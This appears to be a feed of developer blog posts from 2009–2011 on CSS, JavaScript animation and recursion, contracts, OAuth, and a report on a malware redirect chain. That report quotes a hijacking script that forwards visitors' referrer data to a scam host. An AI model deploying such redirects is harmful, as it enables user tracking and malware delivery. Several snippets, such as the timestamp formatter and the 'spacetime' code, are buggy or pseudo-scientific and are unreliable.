null is null or not an object

Closure Stylesheets are good but not great.

noreply@blogger.com (Francisco Brito) — Thu, 17 Nov 2011 04:35:00 +0000

Closure Stylesheets are a good effort from Google. Unfortunately, they released after Less, SCSS and SASS (see discusson on HN). In defense of that argument, I would say that the tool has been in use for a while, it was only the public release (and the process that it entails) what took longer than these other solutions.

But that's not actually what I'm rabbling about today. I won't get into the details of what syntax or implementation is better either.

They miss the point

Development tools are very helpful, but they also stint the ability to learn how to use a language more efficiently. Of course, what matters is to get things done, but in the long run it will make a big difference to those who put the work (or were inspired) to do it better.

For example: using variables in CSS makes sense when you think about re-using colors here and there. Could this be better addressed by using a separate stylesheet that deals with colors (and non-layout modifying rulesets)?

The point is that the inconsistency of content format makes a developer (or is it the other way around?) write a ton of rules to undo all the badly-inherited ones. The complexity of the current codebase makes it near impossible to even figure out what is reusable and how to use it —and frankly, most often things are not designed with reusability in mind: shocking, right?

So the problem about reducing code size is not about how big your code is. As we move into the future, the target market will increasingly be represented by higher bandwidth consumers, since those are the ones with the money to spend. —I understand there is a long tail and it is irrelevant here. As devices download faster and richer media is served, your CSS, HTML and JS will be puny compared to the number of images and HD videos that you're serving. Ever-increasing compression, bandwidth and client-side storage and caching will increase this trend, no matter at what rate. Given enough time, code size will be irrelevant.

What does matter is how maintainable your code is. Code size does become increasingly important but because there will be exponentially more time invested in fixing bugs and building new features as a direct result of the lines of code and people involved.

Another example: What about calculated dimensions? Isn't it a pain to keep track of what the paddings and width add up to?

You are missing the point

The future is bringing a diversity of devices: apps on phones, tablets, laptops, desktops and TVs. The more anyone is developing a pixel-perfect layout, the more it will look stupid on all other devices but yours. Adaptive layout requires thinking about how the content will flow and accommodate the available screen size and pixel density. Pixel-perfect layouts are perfect for making your work look like that spiffy mock, but it won't look so great on most devices by the end of next year, if not sooner.

This jewel from 2006, Switchy McLayout on ALA, explained it well a long, long, long, internet time ago (seriously, look at an internet meme timeline. That was the same year as ICHC!). But the point is not to talk about how great adaptive layout is.

The point

Tools that make you lazy are bad for you, but not as bad if you truly suck. Take the time to love and learn your trade or step aside.

Still here?

I'm glad. Let's build a better web. Check out these resources

Write your own work contract

noreply@blogger.com (Francisco Brito) — Mon, 22 Aug 2011 20:41:00 +0000

If your work is hot, you get to set the price.

Does this happen in practice?

To pull this off, the contract would have to consider the future employer's needs. For example, my contract could say that while I am employed for one company, I can't be also employed at another one; especially if it is a competitor but also if it results in a negative impact in my performance: working under expectations. Make sure expectations are set beforehand. This applies to marriage as well

I would choose the freedom to work on my own company, as I want to further my own career and life beyond what is reasonable to work for someone else. I do want to be doing something in 5 to 10 years and nobody is going to complain much if I leave a company then. It is then in my best interest to add that clause.

However, if working on this separate enterprise is competing in resources or opportunity then it's out. This can be generalized as a simple antitrust clause: Work on whatever, but don't screw us

In law, things always get muddy

For example, if I have company property (computer) and I do some other work on it, some contracts generically stipulate that all intellectual property coming from that device is property of the company. I would be pissed about this. What if I tweet a million-dollar idea? Should I use gmail from my own phone? That would be ridiculous.

However, if I come up with something that negatively affects the market aspirations of the company, it is reasonable to assume that I am at fault. Again, if I can contribute to my employer with something I do on my own, it makes sense to share, especially if it's their equipment.

Contracts and the law in general have never been very deserving of my attention

I prefer using common sense and dealing only with people who have a healthy —or just similar— sense of trust. After all, the heart of the law is to protect from abuse, not to use it to abuse others. Unfortunately, the solution has been to write more law mostly to the benefit of those who invest their life trying to understand a little part of it.

When we stop communicating as human citizens and let behavior be ruled by the shroud of selfish intent, artificial means to protect our society emerge. Stupid laws. Contracts that nobody can read. Enforcers who get high on the power trips and are neither protecting nor serving. That stuff has to stop.

The law is silly because we shouldn't need it

If you think I'm saying it shouldn't be followed, then the law was made for people like you who miss the point.

Harsh but necessary.

I would love to hear ideas for simple clauses

Something like:Work on whatever, don't screw us and Work whenever, just get things done in time. From this, it is important to make sure that expectations about output are clear from the beginning and that all deadlines and work load is agreed to as reasonable beforehand.

I know it is not legally realistic, but I know that there are many startups that rely more on the trust of their employees than a perfectly drafted contract.

How to work with me

noreply@blogger.com (Francisco Brito) — Fri, 29 Jul 2011 19:57:00 +0000

In March 2005, a photocopy was handed to me in preparation for work with one of the top wigs. It enumerated the rules necessary to avoid conflict and ensure efficient communication between me and someone who doesn't have time for bullshit.

Recently, I discovered said photocopy hiding within one of my coding books and showed it to my peers. They loved it. They loved it so much, that they wanted to use it for their own minions.

It is my ethical obligation to share with the world at large, provided the original author doesn't mind (unnamed for privacy) and provided you understand that this is half-jest and half-serious but definitely with a lot of respect and admiration for the author. After all, it takes balls to say what you think despite how weaklings might feel about it.

Here goes:

I prefer to work fast, minimize bullshit, get to the point.
You will sometimes have bad news for me. I want it immediately. I can usually show you how to fix it. And I never blame the messenger.
Bring pen and paper to every meeting with me. Pay attention to what I say; I'll try to speak with care. If I frequently must repeat instructions, or remind you of something I've already told you, you will not work with me again.
If I've scheduled a weekly meeting with you, don't assume that this meeting is the only time to raise issues with me; Interrupt me for time critical issues.
If you have a meeting with me at an assigned time, and I am in another meeting with my door closed, interrupt me. I stack meetings, and each meeting leads into the next.
I like "micro-meetings". Get in quick, bring only the necessary parties to the table, make a decision, get out. Five minutes or less. Make these effective by knowing what decision needs to be made before you start, and presenting the decision criteria ahead of time to all participants.
Stand during micro-meetings.
I don't like email, particularly for discussing complex topics. If a decision needs to be made, do a micro-meeting. If a problem needs to be discussed, ask the person with the most depth to prepare something, an agenda, have a whiteboard, and work through it quickly.
One exception to the above: I like "micro-updates": Quick emails confirming time critical commitments and mutual understanding. These are especially useful after we hold a meeting and I give you a set of directives: I always like to hear our agreed-upon commitments echoed back to me. I may not respond, but I will read it. Keep these emails short: Spare me the greetings, thank yous, regards.
Be consistent in your communication. Use words consistently. Use email headers consistently. Strive to make your work immediately comprehensible.
If you disagree with me, voice your differences. I welcome and invite dissent. If this makes you uncomfortable, feel free to prepare your thoughts after the meeting and then later return to make your case.
Ego-driven debates annoy me. Check your ego at the door: I'm only interested in reaching the best, most elegant solution —I don't care if it's your idea or mine.
Don't be afraid to ask questions if you're not clear. I have more patience for explaining and clarifying my position before you start than I do patience for fixing a wasteful, incorrect approach after the fact.
Don't tell me something is in the process of being done without telling me when it will be done. I'm more interested in the time commitment than the fact that an effort exists.
Always give me options, informed by an economic analysis where possible (if there are dollars involved, an analysis is mandatory), and then make your recommendation. Don't tell me there's a problem without offering a solution. Don't offer me multiple solutions without giving me your best and final recommendation.
If you must prepare reports for me, review spreadsheets I've created. Copy the style and format.
Don't send me long documents. I like precision and concision. Say it on one page (or less).

Update

I've fixed a typo, which was pretty hilarious. "Don't sent me long documents. I like precision...". Thank you, Hacker News for picking this up and for your comments.

If you'd like to read more, follow me @darkgoyle

Malware — a report from the trenches.

noreply@blogger.com (Francisco Brito) — Sun, 08 May 2011 04:27:00 +0000

Some people wonder if malware is a thing of the past. After all, if you know what a blog is, chances are you also know how to not get phished nor p0wned. You probably also think that because you are white-hat (not applicable to socially-retarded individuals), that the real threat is gone and a thing for kids hanging out on meme forums.

Let me explain what just happened as I was surfing:

I was image-surfing on Google, and I came across this image of what appears to be a visual test for an attractiveness study:

Upon hovering to click, I didn't bother making sense of what Google had picked in its index:

The image name makes sense (as opposed to these automatically-named uploads). The descriptive text and url, not so much. TL;DR

So I clicked, which sent me to a Google image server interstitial with a url that only Chuck Norris could read:

http://www.google.com/imgres?imgurl=http://cache.gawkerassets.com/assets/images/7/2008/05/weirdscience.png&imgrefurl=http://sailmaldives.com/sailmaldives/symmetrical-face%26page%3D4&usg=__5pt7-fW8PxDtDBln4IZYdLhL2pE=&h=518&w=657&sz=126&hl=en&start=47&sig2=eQtFxiANJ285aURPa9c4xA&zoom=1&tbnid=BRnsBeaZ-ET2wM:&tbnh=140&tbnw=178&ei=UATGTeLqE4X2swOygY2aAQ&prev=/search%3Fq%3Dsymmetrical%2Bface%2Btest%26hl%3Den%26safe%3Doff%26sa%3DX%26biw%3D937%26bih%3D919%26tbm%3Disch0%2C1915&itbs=1&iact=hc&vpx=554&vpy=370&dur=3354&hovh=199&hovw=253&tx=95&ty=103&page=3&ndsp=25&ved=1t:429,r:23,s:47&biw=937&bih=919

(By the way, it's interesting to see what data Google seems to be acquiring. Perhaps in another post)

The image was hosted on cache.gawkerassets.com which could or not directly correlate it to the attack that Gawker media underwent (allegedly — conspiracy alert).

Google then loads the page hosting the image in the background. This page, hosted on sailmaldives.com has only script as the source:

var url = "http://dczhxynm.ce.ms/in.cgi?2&seoref="+
encodeURIComponent(document.referrer)+
"¶meter=$keyword&se=$se&ur=1&HTTP_REFERER="+
encodeURIComponent(document.URL)+
"&default_keyword=default";

if (window!=top) {top.location.href = url;}
else document.location= url;

So off you go to a domain that looks totally legit. But not for long. A 302 redirect directly to an IP address that has no DNS registry: 69.50.202.201 and a proper tracking code made just for me: GET /79821af005378d43c661c9f19b618d143804cc4c0bece84e HTTP/1.1. How kind. Now they know everything that Google wanted to know about me.

What follows is a very well made interface:

That's an image. You can click on it, you wuss.

The real site automatically sends you a zip file. As you can see, it was automatically downloaded by chrome (I suppose there are setting somewhere to ask first or not. Whatever.). The archive contains an OSX installer, which... well, I'm not that stupid. You are welcome to reverse engineer it if you want. I'm curious.

So I did what any responsible netizen would do: ~~post it on reddit~~ ~~post it on twitter~~ ~~post it on facebook~~ report it to Google:

The interesting thing here is, the site is broken on my current version of Chrome. What. The. Hell.

Why??

Whatever. Remove "position:relative", fill form, submit details.

Google breaks.

If you work for Google, email the malware list and get someone like that annoying Marc Merlin to use his persistence to work and get this clowncar operation fixed. It's even made the news:

How bad is this? Well, Anonymous gained access to my email address and my Playstation Network password with their attack on April 17 or so. This week I received an email from my bank (it was from my bank indeed) asking me to fill a customer survey in response to a phone call I allegedly made. I hadn't. I also got an automated email from PayPal (also legitimate) informing me of a returned email to their service@paypal account. I hadn't.

You can be very skeptical about anything you want, but I will pay attention to what happens next.

My passwords have always been different, and that IP address belongs to an ISP in Arizona.

Simple animation algorithm

noreply@blogger.com (Francisco Brito) — Fri, 04 Feb 2011 23:49:00 +0000

Let's start with a simple case, fading in an element turning up the opacity on it. It's a good idea to start with the interface (how we want the call to look, ideally). Remember simple is always best:

fadeIn(element);

Then the actual function definition:

function fadeIn(element){

      // how smooth the animation runs
  var increment = 50,
      // how long it takes
      duration = 500,
      // this is important: it normalizes the steps
      scale = duration/increment;

  // Define the steps ahead of time
  for (var i = scale; 0 < i; i--) {

    // we use a function to retain the value of i
    setTimeout((function(i){

      // the function actually executed on timeout
      return function(){
        // Standard browsers
        element.style.opacity = i/scale;
        // Substandard browsers
        element.style.filter = 'alpha(opacity='+(scale*i)+')';
      };

    })(i), increment*i);

  }
}

Above, the scale is 10. The loop will then distribute 10 calls evenly, starting with the last one (500ms) and ending with the first, 10ms in the future.

We then use the scale to transform into the opacity values to be used: 0, .1, .2... 1 for standard browsers and 0-100 for browsers that were developed with little concern for cooperation for the benefit of user experience and the programmers having to implement it.

But this wouldn't be fun without making it a little more reusable, so let's clean it up. A general pattern to apply to functions is to keep track of what is modified —the element in this case— and what can change —increment, duration and property being mutated.

function animate(fn, config){
  var increment = (config||{}).increment || 50,
      duration = (config||{}).duration || 500,
      scale = duration/increment;
  
  for (var i = scale; 0 < i; i--) {
    setTimeout((function(i){
      return function(){ fn(i, scale); };
    })(i), increment*i);
  }
}

Since there are at least two operations to be executed on every step (because of different browser handling), I opted for explicitly passing the "verb" or lambda or visitor function to the animate function. This is how it could be used:

var element = document.getElementById('my_element');
animate(function(i, scale){
  element.style.opacity = i/scale;
  element.style.filter = 'alpha(opacity='+(scale*i)+')';
});

A little trick I used above: since config may not be defined, I make sure there is always a default object or value to work with, so this:

var increment = 50;
if (config && config.increment) {
  increment = config.increment;
}

...turns into this:

var increment = (config || {}).increment || 50;

There are a couple of ways to deal with config objects and defaults, and it depends on how many variables you are trying to set or override. It may make sense for larger configuration objects to extend a default object with the configuration values, for example.

Other modifications would involve using an "easing" function that determines how often the callback is fired and with what increment values. The one above is the linear, the simplest.

SVN, Git.

noreply@blogger.com (Francisco Brito) — Mon, 22 Nov 2010 06:25:00 +0000

Pull requests on Git are like asking the build master (or QA, or your manager) to include your feature on the next release. That means, make sure there are no merges, make sure your code does not break any of the automated unit tests, and make sure that your code is properly tested.

Well, that would be in the ideal world. If you want to do it differently, remember that you choose your dose of pain.

Fibonacci

noreply@blogger.com (Francisco Brito) — Sat, 25 Sep 2010 02:14:00 +0000

Calculating the n-th Fibonacci in different ways:

// Recursive
function fib(n){
  if (n < 2) return n;
  return fib(n-1) + fib(n-2);
}

// Memoized
function memFib(n){
  return memFib[n] || (memFib[n] = fib(n));
}

// Mathematical
function mathFib(n){
  return Math.floor(Math.pow(Phi, n)/Math.sqrt(5) +.5);
}

How do they compare in speed?

[fib, memFib, mathFib].map(function(fn){
  var t0 = +new Date
  fn(30);
  return +new Date - t0
});

Don't get your panties in a bunch just yet. This is an unfair fight:

fib is simply horrible, performance-wise. It's the easiest to understand and best for demonstrating recursive functions, but that's it.
memFib is a great example for memoization, as it executes almost linearly, except for those numbers which have not been used yet. If you try running memFib with n=40, you will start feeling the pain, but only the first time.

An important point to make here about memoization is, if your function will be called many times and always returns the same result given the same arguments, memoizing is your friend.

We will approach browser recursion limits quickly, so I will add two more contenders:

// Y-combinator
var Yfib = Y(function(fn){ return (function(n){
  if (n < 2) return n;
  return fn(n-1) + fn(n-2);
}); });

// Memoized Y-combinator
var YmemFib = Ymem(function(fn){ return (function(n){
  if (n < 2) return n;
  return fn(n-1) + fn(n-2);
}); });

This is a whole different game, with n=1000:

[mathFib, YmemFib].map(function(fn){
  var t0 = +new Date
  fn(1000);
  return +new Date - t0
});

Firefox 3.6.10 cries somewhere between n=1000 and n=2000 about too much recursion, and the difference is less than 10 milliseconds in favor of the mathematical formula.
Chrome 6.0.472.63 can handle at least n=6000 before exhausting its stack and has a difference of about 2 milliseconds. BOOM.

The Much Anticipated Morale Of The Leonardo Of Pisa Thingamajigs

Go for the mathematical solution first. If you are not smart enough, ask Google. If Google is not smart enough, ask Tyler. Seriously.
Memoize. Remember this. Get it?
Use a Y-combinator. You don't have to understand how to use it, and good luck trying. Seriously. Here you go:
```
function Y(fn) {
  return function(x) {
    return (fn(function(n){
     return (Y(fn))(n);
    }))(x);
  };
}
```
To help you understand, try: matt.might.net, fixed point combinator on Wikipedia, Electronics and Computing Systems at the University of Cincinnati, the book To Mock a Mockingbird, and/or some entheogens.

The short answer: wrap this equivalent of bacon around everything.

/**
 * Memoizing Y-combinator (aka triptonomikon).
 */
function Ymem(fn) {
  var mem = this;
  return function(x) {
    return mem[x] || (mem[x] = (fn(function(n){
     return (Ymem.call(mem, fn))(n);
    }))(x));
  };
}

This should keep you busy until the next post.

CSS layout helper rule

noreply@blogger.com (Francisco Brito) — Thu, 19 Aug 2010 06:34:00 +0000

You may have used borders around elements to help during layout design:

 * { border:1px solid red }

But when you are being very stingy with your pixels, those extra border pixels can get in the way. I present to you the

Sooper Cosmogonic Layout Helper Rule that Rulez

 * { background: rgba(100, 100, 100, .5) }

The RGBA rule allows you to specify a background color in rgb (0-255) plus an alpha (transparency) value, which will aggregate for nested objects.

Put it at the top of your css, optionally reduce the scope to, say article * {...}, and send me good karma if it works.

Filter Overload Pattern

noreply@blogger.com (Francisco Brito) — Fri, 13 Aug 2010 23:04:00 +0000

Assume you are working with the toggle function in jQuery and that you want to do something different with it. This would require writing a different plugin and naming it differently or changing the default toggle function.

In the simplest terms, the pattern starts with a function:

function stuff(s){
    if (typeof s == 'string')
      doStuffWithAString(s)
    else throwOrIgnore();
  }

Maybe you can't change the source code, or maybe you obsessively want to ultra-modularize your code. Either way, assume you want to use the same name to keep your source code as semantic as possible. Here is how I would do it:

// redefine function
  var _old_stuff = stuff;
  stuff = function(b){
    // check for special case which should be overloaded here
    if (typeof b == 'boolean')
      // new behavior
      doStuffWithABoolean(b);
    // old behavior: call previously defined function.
    else _old_stuff(b);
  };

If you happen to mistakenly call the block twice, you will throw the function into a self-referential (endless) loop.

With this pattern, you can build functions that specialize in delegating functions by argument patterns, akin to classical Java method overloading. If you will be handling many patterns, it may eventually be interesting to use only one index delegator instead of a cascading pattern.

To illustrate how amusing it is to write overcomplicated code, consider the following

Mega Super Ultimate Listener Overload Pattern of Awesomeness

The interface is the only public function:

function transmogrify(){
  // using this function as a dictionary or map:
  for (var filter in transmogrify.filters){
    // filter functions return the name of the method to call
    var key = transmogrify.filters[filter].apply(this, arguments);
    if (key) 
      transmogrify.methods[key].apply(this, arguments);
  }
}

This is the extension mechanism. The filter can check argument arity, type, validity, etc.

transmogrify.filters.zap = function(str, num){
  if (typeof str == 'string' && typeof num == 'num')
    return 'zip';
};
transmogrify.methods.zip = function(){
  // there be beautiful code herein
};

I know you want a function that does these two things in one go; a meta-meta-meta function. Maybe later.

Adaptive Layout Algorithm

noreply@blogger.com (Francisco Brito) — Wed, 11 Aug 2010 05:06:00 +0000

The difference between human hemispheres is in how they process information. We are told that one is "linear" and the other is "parallel", or that one uses images and the other uses words, etc. Stay with me while I attempt to explain how attention span is divided between them and how to design a hemisphere-balanced layout.

Fundamentally, the difference is in the timing. If one is linear and another parallel, how many linear units (bitwidth) can be processed at a time? Depends on the base being used. As of stardate sun-2010AD, I, along with all humans I know of, communicate with our computers using binary time conversion. That means our computing languages and compilers are calculated with only 1/0 (binary) to time increments (linear-infinite). Comparatively, a human mind is the plane between two values: two hemispheres.

Back to areas of attention: text attracts one hemisphere, images attract the other. The brain needs to quickly identify how to process the "splat", then make a decision on what to pay attention to: the image of the pretty lady or the ~~skank~~ eloquent paragraph beside it?

More thinking: how big is the font? can I recognize any body parts relevant to my interests? FACES is what people look at first, subconsciously. There's studies with babies as the test subjects. Go read it. Anyway, more thinking, more fatigue. The less interrupted the flow is, the more efficient, the more rewarding. Interrupt is entropy, losses are negative. Got it?

So here is Will, the conscious, constantly waking up the subconscious. Let's call her Akasha. Note projection of opposite sexes and the allusion of memory -- a modern narcissus and echo.

An efficient algorithm will take into consideration this balance: good font size, balanced image to text ratio. What the right balance is, is the subject for a subsequent post. Hint: it has to do with numbers.

Random content generator

noreply@blogger.com (Francisco Brito) — Tue, 10 Aug 2010 22:42:00 +0000



var i = 12;

while(i--) links.push({

  title: 'This is a title',

  article_text: 

    (new Array((100*Math.random())|0 + 1))

      .join('Lots of dolorem in my ipsum. '),

  image: 

    'http://9gag.com/photo/'+ 

    ((32000*Math.random())|0) +

    '_540.jpg'

});

Boom.

Relative font sizes

noreply@blogger.com (Francisco Brito) — Sun, 08 Aug 2010 01:49:00 +0000

The discussion over whether pixels (px) or ems (em) are best as a way to measure content when designing web pages is often ended with the argument that all modern browsers can scale content defined in pixels, which is not untrue.

What falls short from this argument is that it puts the burden on the user to make the conscious decision to change the font size. The mental process could go like this:

I'm having trouble reading this. I'm squinting. The text is too small. I'll press... what is it? oh, ctrl,+. One, two, three... no, one less so ctrl,-. There.

The triviality of the example is balanced by the importance of avoiding disruption when it comes to user interaction. An action that we require from a user (in this case, attention to what we write) is impoverished by the division of said attention between the task that we want performed and adjusting the viewport.

The whole point of affordance and usability is precisely to take the burden of thinking from the user, so it becomes an enjoyable activity. Would I like my readers to enjoy my blog? yes. Would I like my buyers to enjoy purchasing on my website? yes. Would you?

An additional element is missing from pixels: There is research regarding the ideal width for a line of text (which I defer to you to investigate and debate). When using pixels, the rhythm and proportion of your page is much more difficult to preserve, since now it is a matter of font size and line width. If instead the layout is all dependent on font size, a person designing and coding a website can have a lot more control over the aesthetics without additional cognitive burden.

Author tweaks site css...

*ahem*. Got it?

Javascript timestamp formatting

noreply@blogger.com (Francisco Brito) — Mon, 28 Jun 2010 22:38:00 +0000

I've ran into this scenario enough times that I think it's faster to post it and search it than opening an old file :)

Assume that you're working with a timestamp (number of milliseconds since January 1, 1970), for example:

var t = +new Date;

If you want to make that a relative time like "10 minutes ago", you can use this simple function:

function format(timestamp){
  var now = +new Date;
  var diff = (now - timestamp)/1000;
  if (diff < 60) return diff + ' seconds ago';
  if ((diff/=60) < 60) return Math.floor(diff) + ' minutes ago';
  if ((diff/=24) < 24) return Math.floor(diff) + ' hours ago';
  if ((diff/=7) < 7) return Math.floor(diff) + ' days ago';
  if ((diff/=4) < 4) return Math.floor(diff) + ' weeks ago';
  var date = new Date(timestamp);
  var month = ['January', 'February', 'March',
               'April', 'May', 'June', 'July',
               'August', 'September', 'October',
               'November', 'December'][date.getMonth()];
  var YEAR = 365*24*60*60;
  var year = (now - timestamp < YEAR) ? '' : ' ' + date.getFullYear();
  return (month) + ' ' + (date.getDate()) + year;
}

I hope you find this useful.

Update

Tinkering around, I noticed that blogger has this:

function relative_time(time_value) {
  var values = time_value.split(" ");
  time_value = values[1] + " " + values[2] + ", " + values[5] + " " + values[3];
  var parsed_date = Date.parse(time_value);
  var relative_to = (arguments.length > 1) ? arguments[1] : new Date();
  var delta = parseInt((relative_to.getTime() - parsed_date) / 1000);
  delta = delta + (relative_to.getTimezoneOffset() * 60);

  if (delta < 60) {
    return 'less than a minute ago';
  } else if(delta < 120) {
    return 'about a minute ago';
  } else if(delta < (60*60)) {
    return (parseInt(delta / 60)).toString() + ' minutes ago';
  } else if(delta < (120*60)) {
    return 'about an hour ago';
  } else if(delta < (24*60*60)) {
    return 'about ' + (parseInt(delta / 3600)).toString() + ' hours ago';
  } else if(delta < (48*60*60)) {
    return '1 day ago';
  } else {
    return (parseInt(delta / 86400)).toString() + ' days ago';
  }
}

Internet Explorer slows down the internet

noreply@blogger.com (Francisco Brito) — Wed, 12 May 2010 06:08:00 +0000

Sounds like an accusation. It is.

Take for example web standards. Don't try to feed us your crap that you have and are actively participating in all sorts of initiatives. That's great but it's the people you employ who are doing that. It is the enthusiasm of human creativity.

Now take JavaScript. Other browsers have implemented version 1.6, 1.7, 1.8 and introduced elegant language features that allow for very cool things to be written with very little cost (size or performance, for example).

But because the majority of people still use a shitty browser (I grant you that it has gotten better, but let's not depart from the point), web developers are forever stuck programming with the lowest level denominator only because IE6 has to be supported. Or because IE7 or IE8 incorrectly implemented something.

How can a browser slow down the internet? Because it slows down progress by not allowing programmers to evolve and educate at higher levels. Language evolution is but an academic exercise, not something that can be popularized by mass adoption. Forget about great ideas, they won't work for your clients.

Can anything be done? At all?
I wait for inertia to catch up. IE will fall. The weight of the giant will leave it behind.

Bah.

Where OAuth and everything social fails

noreply@blogger.com (Francisco Brito) — Sun, 07 Feb 2010 00:17:00 +0000

Okay, I get it. The interwebs is like the real world, but binary. We all want to play in it and feel safe. How come it hasn't taken off?

Let's take as a hypothetical example site X. If they have made a big enough name, I'll trust them. Why? perhaps because everyone else is. The power of the masses is such that even if we're all wrong, I feel that we can also all rebel at the same time and it will be okay than if I land on some random site that ends up stealing my identity and my cats.

I've just mentioned the fundamental problem: trust. How do you trust a service or a corporation that you cannot see, chase, yell at or run over when it pisses you off? After all, the people in customer service are but human employees, they are not the corporation. Those running the corporation are the closest thing, but up there who knows what's going on. Maybe they are nice and fix problems when they come up, or maybe they laugh at you and close your account.

This is the kind of situation that makes legitimate businesses not flourish: lack of trust.

Back to site X. It looks legit. Okay, that means someone knows how to keep up with web standards, etc. That's a good sign: dedication. It's no guarantee, however.

Let's say site X gets acquired by Y, a rogue company without any particular concern for the individuals involved. The site has OAuth and whateverconnect which allows your identity provider (say, Google or Facebook) to pull the plug on the service if they become rogue. Unfortunately, they can only prevent the rogue company to do evil on your behalf. It cannot prevent them from acquiring information from you: the information cannot be taken back.

This is the fundamental problem between real life (meatware) and virtual life (software): the model doesn't work.

Can you imagine walking into a coffee shop and automatically telling everyone in it your home address and phone number? That's the equivalent of an email address. Giving you a way to contact me back doesn't mean I have to give you a way to contact everyone I know.

Message to identity providers: allow people to see my avatar and nickname and to contact me through your service. That's it. Not my email address, not my contacts, not my fan clubs. It's okay if you aggregate my behavioral data along with everyone else's and profit from that information, as long as you protect my identity. That's your end of the deal in exchange for the information I choose to give you. I do buy stuff, I do need ads, and I understand you need to know about me to show me relevant stuff. Just don't sell my identity. Protect it. Your company depends on the trust that your users have.

Furthermore, knowing who I am doesn't mean you should know everything I do. In a way, that is equivalent to having someone follow you around, even if it's just to figure out what you like best. It's creepy and it's not because I'm doing something I'm ashamed of. It has to do with moods. If I'm in the mood for entertainment, I want to watch entertainment-related ads, not diapers. I don't need a reminder of what I should be doing instead, that's why I'm watching sports in the first place. That's why you shouldn't bundle my identity with my physical container. Each mood is a different account. Don't mix them together.

For the people implementing and designing these standards: pay close attention to how these interactions work in the physical world. After all, these protocols have been around for thousands of years and have evolved to their current state based on what works best: evolution and selection. Being smart is not a substitute for insight and patience, it's just shortsighted.

Before I climb off my soap box, let me add this tangential note: If I'm paying for insurance I don't just expect to get some money for my stolen motorcycle. I expect you to also not make me fill 30 forms that are just a seemingly random combination of the same information: claim number, name, address, lien holder, who did my service the last time... ugh. I get it, the more information the better but your forms are ridiculous. It is the modern equivalent of torture. Neither physical nor terrible, but very, very annoying. Pay attention to your job, there's people on the other side.

(off the soap box)

My duty as an engineer is to realize that what I create, other people consume. I can make their lives better or worse.

My duty as a human is to realize that my attitude is other people's experience of life, and that if something sucks it is because someone made it that way, even if not on purpose.

My footprint is someone else's path.

Users are the beating heart of the internet.

noreply@blogger.com (Francisco Brito) — Tue, 02 Feb 2010 22:11:00 +0000

Users flock to a site; and then what?
Why do they?

The internet is a vast universe. The bleeding edge is always too far to see, as well as the long tail of users. The reality is, there are new people coming online all the time; a constant stream of confused newbies. How do we capture them? How do we create an appealing product?

Timing and marketing are a separate, but crucial component. That is dealt by people more competent than I am. Technologically, however, I ask these questions: What needs to happen on Gravity to make people want to come back often? What needs to happen to make people feel like sharing stories of good quality? How do we cut down on the chattiness and crank up the quality of content?

This is the generic problem that everyone with a dream faces.

We need to ask each user, what do you like? what interests you? what do you already do? Users look for information, and filter and create and shuffle information. Most importantly, users need feedback. People asking for your advice, people letting you know when your opinion is valuable.

A nerdy way to see it: a user, like our system, has an input, and an output.
The output can be interpreted (and predicted) if the input is known. In terms of quantity, the input is a relative positive (as it increments the information in the system) and the output, compared to the input, can be less (information was filtered) or more (information was created), dissimilar (shuffled) or a combination of these. All these outputs are embedded with the ideas and feelings of each user, and an increasing quality will see increasing number of users on the site.

From the information consumption perspective, the user should always be shown the best content first, diminishing in relevance as she scrolls down. From the technical perspective, how does this ranking happen?

There needs to be a very transparent system for tracking user intention: assigning positive and negative points between users and items and rank them accordingly. Examples of explicit interaction: liking and orbiting. Weak indicators could be clicks, scrolls and mouse movements. These scores could be propagated to make educated guesses.

Intrinsic value for an object is determined by its outgoing positive connections. In other words, only external interest determines value of the object in question, and only relative to those consuming it. When it comes down to users and what they post, having someone else like your stuff is the only way you will get credibility, regardless of how good something is, according to you.

However, this is not the whole story. A company's success depends on how useful it is to its users. The metric of usefulness for each user will depend on how often users want to come back and invite the ones they trust. Again, it's a matter of propagating good stuff to the people you care about.

Spacetime sync'ing

noreply@blogger.com (Francisco Brito) — Thu, 28 Jan 2010 03:00:00 +0000

When two points are moving through space and time, there is a warp in the spacetime fabric between them, caused by relativity effects.

When computers leave the factory, their clocks are set and Quality Control ensures they are beating in sync. As they are shipped and handled they invariably end up taking different routes through space and time which could make the clocks differ.

If an observer measures the clock, frequency and the numerical value might appear the same between two points. But this implies a third, observing, absolute point.

But how do only two points do it?

If one computer sends its current time value, there IS a delay when comparing:

function compare(tick){
  return tick == new Date;
}

Seems like a difficult task to make that function return true.

However, let's assume that the clocks don't differ and what this warping is actually the medium through which the computers are communicating. We start with the assumption that the epoch (the origin or zero) is constant between all computers and assume that any difference in synchronicity is directly caused by a warp in the communication medium.

Furthermore, assume that the computers in question are physically the same computer, but in different positions in time. Could we send messages back and forth between them?

Analizing a possible method:

Taking a binary stream (since that is what electronics communicate through), measure the length between changes. That is, instead of measuring how many times a 1 or 0 were encountered, only measure how long it remains unchanged. An unwarped system does not have separate information of data and time because all distances are unitary, therefore we assume that time is constant.

To function like a reliable channel and data storage node, information exchanged must be unchanged and encrypted. Assuming that both nodes have a separate resolution of time, their unique id would be their time signatures, as measured by themselves. This unique id is what serves as a crypto key, and not even the client knows it, the key itself is encrypted into the memory, as a signature of how the memory is allocated.

Using then time as part of the data, the problem becomes a matter of storing the data, unwarped.

Since we assume that two nodes cannot control the warp on the medium, but to comply with being a reliable data store each node can assume that it will get what it expects. The first test of the system is its ability to function like a memory:

function recall(reference){
  // the very first thing: to record the first data point
  var now = Number(new Date);
  // while no change, return nothing
  if (!reference) return;

  var callee = arguments.callee;
  var caller = callee.caller;
  
  setTimeout(function(){
  // callback with data response
    caller.call(null, callee[reference]);
  // in this unwarped medium, the ratio remains constant
  // so a client would expect a spacetime delay directly
  // proportional to the data given. In other words, the
  // function takes a predictable amount of time to execute
  }, start/Number(new Date));
}

var bytestream = '11000010';
// calculating lengths = 2, 4, 1, 1:

function measure(){
  var start = Number(new Date);
  var caller = arguments.callee.caller;
  var input = Number(arguments[0]) || 0;
  // function serves as its own memory
  var memory = arguments.callee;
  var response = memory[input];
  setTimeout(function(){
    caller.call(caller, response);
  }, Number(response || 0)/start);
}

Can this work?

Playful

noreply@blogger.com (Francisco Brito) — Sun, 27 Dec 2009 22:08:00 +0000

//TODO: get code prettifier for blog :)

I feel like creating art with javascript.


<!doctype>
<style>
*{margin:0;padding:0;border:0}
body{
height:100%;
width:100%;
}
div{
background:red;
margin:auto;
}
</style>
<body>
<script>
console.log('ok', Phi = Math.sqrt(5)/2 + .5);

(function(step){
  console.log(step);

  plot(step);
  
  if (step > Phi) arguments.callee.call(this, step / Phi);
  else setTimeout(arguments.callee, step * Phi);

})();

/**
 * Example plot function
 * @param n The step number from balancer function
 */
function plot(n){
  // font size allows for a one-time value change in the page that will affect
